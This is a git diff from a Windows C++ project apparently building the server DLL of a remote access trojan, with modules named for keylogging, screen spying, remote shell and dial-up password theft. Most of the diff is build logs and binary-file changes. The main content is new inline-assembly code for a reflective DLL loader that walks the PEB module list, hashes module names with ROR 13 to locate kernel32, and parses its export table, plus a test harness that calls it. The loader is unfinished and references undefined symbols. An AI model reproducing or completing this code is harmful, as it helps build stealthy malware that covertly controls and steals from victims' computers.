diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index 0887457..79f592d 100644
Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ
diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
index 2b78e9e..6179adb 100644
--- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
+++ b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
@@ -1,28 +1,28 @@
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\regmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditopt.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
-f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regmanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditopt.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\strcry.obj
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
+g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log
index 3f49099..3d8c550 100644
--- a/CcMainDll/CcMainDll/Release/CcMainDll.log
+++ b/CcMainDll/CcMainDll/Release/CcMainDll.log
@@ -8,14 +8,17 @@ g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从
 g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
 g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
   g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(50): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
   g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(224): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(229): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
   g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(252): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
+g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(421): warning C4102: “loc_46327B”: 未引用的标签
 LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
     正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
   正在生成代码
-  1 of 375 functions ( 0.3%) were compiled, the rest were copied from previous compilation.
+  1 of 380 functions ( 0.3%) were compiled, the rest were copied from previous compilation.
     0 functions were new in current compilation
     0 functions had inline decision re-evaluated but remain unchanged
   已完成代码的生成
diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp
index 6dfe822..29bd12d 100644
--- a/CcMainDll/CcMainDll/dllmain.cpp
+++ b/CcMainDll/CcMainDll/dllmain.cpp
@@ -6,7 +6,12 @@
 #include "common/install.h"
 #include <stdio.h>
 #include <shlwapi.h>
+
 #pragma comment(lib,"shlwapi.lib")
+#include <iostream>
+#include <fstream>
+
+//using namespace std;
 
 
 struct Connect_Address
@@ -231,6 +236,84 @@ extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
 
 
 
+FILE * pFile;
+
+long lSize;
+
+char * buffer;
+
+size_t result;
+extern "C" __declspec(dllexport) bool InitTestReflectiveLoader()
+{
+
+
+		// 一个不漏地读入整个文件,只能采用二进制方式打开
+
+		pFile = fopen(".\\..\\..\\bin\\server\\CcMainDll.dll", "rb");
+
+		if (pFile == NULL)
+
+		{
+
+			fputs("File error", stderr);
+
+			printf("open file fail");
+
+			return false;
+
+		}
+
+
+
+		// 获取文件大小 
+
+		fseek(pFile, 0, SEEK_END);
+
+		lSize = ftell(pFile);
+
+		rewind(pFile);
+
+
+
+		// 分配内存存储整个文件
+
+		buffer = (char*)malloc(sizeof(char)*lSize);
+
+		if (buffer == NULL)
+
+		{
+
+			fputs("Memory error", stderr);
+
+			printf("Memory alloc falil");
+
+			return false;
+
+		}
+
+
+
+		// 将文件拷贝到buffer中 
+
+		result = fread(buffer, 1, lSize, pFile);
+
+		if (result != lSize)
+
+		{
+
+			fputs("Reading error", stderr);
+
+			printf("Load file to memory falil");
+
+			return false;
+
+		}
+		return true;
+
+}
+
+
+
 inline DWORD GetCurrentPositionAddress()
 {
 	_asm{
@@ -242,38 +325,60 @@ inline DWORD GetCurrentPositionAddress()
 	}
 }
 
+inline DWORD call_ror_0xD()
+{
+	_asm {
+		push    ebp
+		mov     ebp, esp
+		mov     eax, [ebp + 8]
+		ror		eax, 0x0D
+		pop     ebp
+		retn
+	}
+}
+
 enum LocalEnum
 {
 	Nop,
-	memAddress,
-	pLoadLibraryA,
-	pGetProcAddress,
-	pVirtualAlloc,
-	pVirtualProtect,
-	pNtFlushInstructionCache,
-	varLocalFindPE
+	memAddress					= 4,
+	pLoadLibraryA				= 8,
+	pGetProcAddress				= 0xC,
+	pVirtualAlloc				= 0x10,
+	pVirtualProtect				= 0x14,
+	pNtFlushInstructionCache	= 0x18,
+
+	varLocalFindPE				= 0x1c,
+	varLocalFS30_A				= 0x20,		// var_8
+	varLocalFS30_B				= 0x24,		// varLocalFS30_B
+	var_4						= 0x28,		// FullDllName
+	BaseDllName					= 0x2c,		// FullDllName
+	name_hash					= 0x30,
+	var_20						= 0x34
 
 };
 
+
+
 extern "C" __declspec(dllexport) void ReflectiveLoader()
 {
 	_asm{
 		push    ebp
 		mov     ebp, esp
-		sub     esp, 0x100
+		sub     esp, 0x100					// 抬高堆栈创建局部变量空间
 		mov     eax, 4
-		initLocalVar:
+		initLocalVar:						// 循环initLocalVar初始化局部变量空间为0
 		mov		[ebp + eax], 0
 		inc		eax
 		cmp		eax ,0x100
 		jnz		initLocalVar
 
-		call    GetCurrentPositionAddress	//获取当前位置地址
-		mov		[ebp + memAddress], eax		//保存当前代码所在的地址 memAddress
+		call    GetCurrentPositionAddress	// 获取当前位置地址
+		mov		eax, buffer
+		mov		[ebp + memAddress], eax		// 保存当前代码所在的地址 memAddress
 		
 		addressAdd :
 		mov     eax, 1
-		test    eax, eax					//判断eax是否获取到当前地址
+		test    eax, eax					// 判断eax是否获取到当前地址
 		jz      find_success
 			
 		mov     ecx, [ebp + memAddress]		// 查找DOS头
@@ -285,27 +390,112 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
         mov     eax, [ebp + memAddress]
         mov     ecx, [eax + 0x3C]			// +3C 找到DOS Header e_lfanew
         mov		[ebp + varLocalFindPE], ecx
-        cmp		[ebp + varLocalFindPE], 0x40
+        cmp		dword ptr[ebp + varLocalFindPE], 0x40
         jb      noFindFlag					// 地址address - 1
-        cmp		[ebp + varLocalFindPE], 0x400
-        jnb     noFindFlag					//; 地址address - 1
+        cmp		dword ptr[ebp + varLocalFindPE], 0x400
+        jnb     noFindFlag					// 地址address - 1
 
         mov     edx, [ebp + varLocalFindPE]
         add     edx, [ebp + memAddress]
         mov		[ebp + varLocalFindPE], edx
         mov     eax, [ebp + varLocalFindPE]
-        cmp     dword ptr[eax], 0x4550		//; 判断PE Header Signature PE标志
-        jnz     noFindFlag			//; 地址address - 1
+        cmp     dword ptr[eax], 0x4550		// 判断PE Header Signature PE标志
+        jnz     noFindFlag					// 地址address - 1
+		jmp     find_success				// 找到了singtrue 跳转
 
-		noFindFlag :
+			noFindFlag :
 		mov     ecx, [ebp + memAddress]; 地址address - 1
 		sub     ecx, 1
 		mov		[ebp + memAddress], ecx
 		jmp		addressAdd
 
+			find_success:
+		mov     edx, fs:[0x30]				// 获取PEB结构地址
+		mov		[ebp + varLocalFS30_A], edx
+		mov     eax, [ebp + varLocalFS30_A]
+		mov     ecx, [eax + 0x0C]			// 获取Ptr32 _PEB_LDR_DATA 进程加载模块链表(Ldr)
+		mov		[ebp + varLocalFS30_A], ecx
+		mov     edx, [ebp + varLocalFS30_A]
+		mov     eax, [edx + 0x14]			// 获取结构中InMemoryOrderModuleList 顺序模块列表
+		mov		[ebp + varLocalFS30_B], eax
+
+			loc_46327B: 
+		cmp		[ebp + varLocalFS30_B], 0
+		jz      find_moudle_null
+		mov     ecx, [ebp + varLocalFS30_B]
+		mov     edx, [ecx + 0x28]			// FullDllName_buff 模块名称
+		mov		[ebp + BaseDllName], edx
+		mov     eax, [ebp + varLocalFS30_B]
+		mov     cx, [eax + 0x24]			// UNICODE_STRING FullDllName Length
+		mov		[ebp + var_4], cx			// var_4保存FullDllName字符串长度
+		mov		[ebp + name_hash], 0
+
+			calc_hash:
+		mov     edx, [ebp + name_hash]
+		push    edx
+		call    call_ror_0xD
+		add     esp, 4
+		mov		[ebp + name_hash], eax		// ror后的eax为返回值
+		mov     eax, [ebp + BaseDllName]
+		movzx   ecx, byte ptr[eax]
+		cmp     ecx, 0x61					// 判断获取到的模块字符串的指定位置,小于跳转,地址 + 1,比对下一个字母
+		jl      less_flage
+		mov     edx, [ebp + BaseDllName]	// 获取名称byte
+		movzx   eax, byte ptr[edx]			// eax = byte
+		mov     ecx, [ebp + name_hash]		// 计算值
+		lea     edx, [ecx + eax - 0x20]		// hash + FullDllName[index] - 0x20
+		mov		[ebp + name_hash], edx		// 得到结果
+		jmp     calc_end
+
+			less_flage:
+		add     ecx, [ebp + name_hash]
+		mov[ebp + name_hash], ecx
+
+			calc_end:
+		mov     edx, [ebp + BaseDllName]	// 名称地址 + 1
+		add     edx, 1
+		mov		[ebp + BaseDllName], edx
+		mov     ax, [ebp + var_4]			// 字符串名称长度 - 1
+		sub     ax, 1
+		mov		[ebp + var_4], ax
+		movzx   ecx, [ebp + var_4]
+		test    ecx, ecx					// 判断长度是否为0,没有为0继续计算hash
+		jnz     calc_hash					// 计算简单的模块名称name_hash
+			
+		cmp		[ebp + name_hash], 0x6A4ABC5B	// 6A4ABC5B = Kernel32
+		jnz     no_Kernel32_hash				// 3CFA685D = ntdll
+		mov     edx, [ebp + varLocalFS30_B]		// 获取结构中InMemoryOrderModuleList
+		mov     eax, [edx + 0x10]
+		mov		[ebp + varLocalFS30_A], eax		// +10偏移获取DllBase基址
+		mov     ecx, [ebp + varLocalFS30_A]
+		mov     edx, [ebp + varLocalFS30_A]
+		add     edx, [ecx + 0x3C]				// 获取PE IMAGE_DOS_HRADER e_lfanew
+		mov		[ebp + var_20], edx				
+		mov     eax, 8
+		imul    ecx, eax, 0						// imul 1, 2, 3	  2 3乘积保存到1
+		mov     edx, [ebp + var_20]
+		lea     eax, [edx + ecx + 0x78]			// 获取IMAGE_OPTIONAL_HEADER -> IMAGE_DATA_DIRECTORY[0] EXPORT 导出表
+		mov		[ebp + exp_AddressOfNames], eax
+		mov     ecx, [ebp + exp_AddressOfNames]
+		mov     edx, [ebp + varLocalFS30_A]		// edx = 基地址
+		add     edx, [ecx]						// 基地址 + 导出表地址
+		mov		[ebp + var_20], edx
+		mov     eax, [ebp + var_20]
+		mov     ecx, [ebp + varLocalFS30_A]
+		add     ecx, [eax + 0x20]				// 获取 IMAGE_EXPORT_DIRECTORY +0x20 AddressOfNames
+		mov		[ebp + exp_AddressOfNames], ecx
+		mov     edx, [ebp + var_20]
+		mov     eax, [ebp + varLocalFS30_A]
+		add     eax, [edx + 0x24]				// 获取 IMAGE_EXPORT_DIRECTORY +0x24 AddressOfNameOrdinals
+		mov		[ebp + AddressOfNameOrdinals], eax
+		mov     ecx, 4
+		mov		[ebp + var_4], cx
 
 
-		find_success:
+
+
+			find_moudle_null:
+
 
 	}
 
diff --git a/CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log b/CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log
index 566c1c1..0186fd2 100644
--- a/CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log
+++ b/CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log
@@ -1 +1 @@
-f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
+g:\ccremote\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
diff --git a/CcMainDll/TestLoadDll/Release/TestLoadDll.log b/CcMainDll/TestLoadDll/Release/TestLoadDll.log
index 40277e4..a8aad37 100644
--- a/CcMainDll/TestLoadDll/Release/TestLoadDll.log
+++ b/CcMainDll/TestLoadDll/Release/TestLoadDll.log
@@ -1,6 +1,6 @@
-C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。  此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
+G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。  此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
   TestLoadDll.cpp
   正在生成代码
   All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
   已完成代码的生成
-  TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
+  TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
diff --git a/CcMainDll/TestLoadDll/Release/TestLoadDll.tlog/TestLoadDll.lastbuildstate b/CcMainDll/TestLoadDll/Release/TestLoadDll.tlog/TestLoadDll.lastbuildstate
index 3f4a20c..fd0ad53 100644
--- a/CcMainDll/TestLoadDll/Release/TestLoadDll.tlog/TestLoadDll.lastbuildstate
+++ b/CcMainDll/TestLoadDll/Release/TestLoadDll.tlog/TestLoadDll.lastbuildstate
@@ -1,2 +1,2 @@
 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Release|Win32|F:\myapp\CcRemote\CcMainDll\|
+Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
diff --git a/CcMainDll/TestLoadDll/TestLoadDll.cpp b/CcMainDll/TestLoadDll/TestLoadDll.cpp
index 5265369..f01b85d 100644
--- a/CcMainDll/TestLoadDll/TestLoadDll.cpp
+++ b/CcMainDll/TestLoadDll/TestLoadDll.cpp
@@ -11,6 +11,16 @@ int main()
 	//载入服务端dll hijack test
 	HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
 
+	typedef int(_cdecl *TestRunInit)();
+
+	TestRunInit InitTestReflectiveLoader = (TestRunInit)GetProcAddress(hServerDll, "InitTestReflectiveLoader");
+
+	if (InitTestReflectiveLoader != NULL)
+	{
+		InitTestReflectiveLoader();   //调用这个函数
+	}
+
+
 	//声明导出函数类型--导出的TestRun函数
 	typedef void(_cdecl *TestRunT)();
 	//寻找dll中导出函数
diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo
index 5394854..8cea8d3 100644
Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ
diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll
index b931e00..0d0d513 100644
Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ
diff --git a/bin/server/CcMainDll.lib b/bin/server/CcMainDll.lib
index a9b8d4b..f4a8658 100644
Binary files a/bin/server/CcMainDll.lib and b/bin/server/CcMainDll.lib differ
diff --git a/bin/server/TestLoadDll.exe b/bin/server/TestLoadDll.exe
index 7bd8b28..e8f4295 100644
Binary files a/bin/server/TestLoadDll.exe and b/bin/server/TestLoadDll.exe differ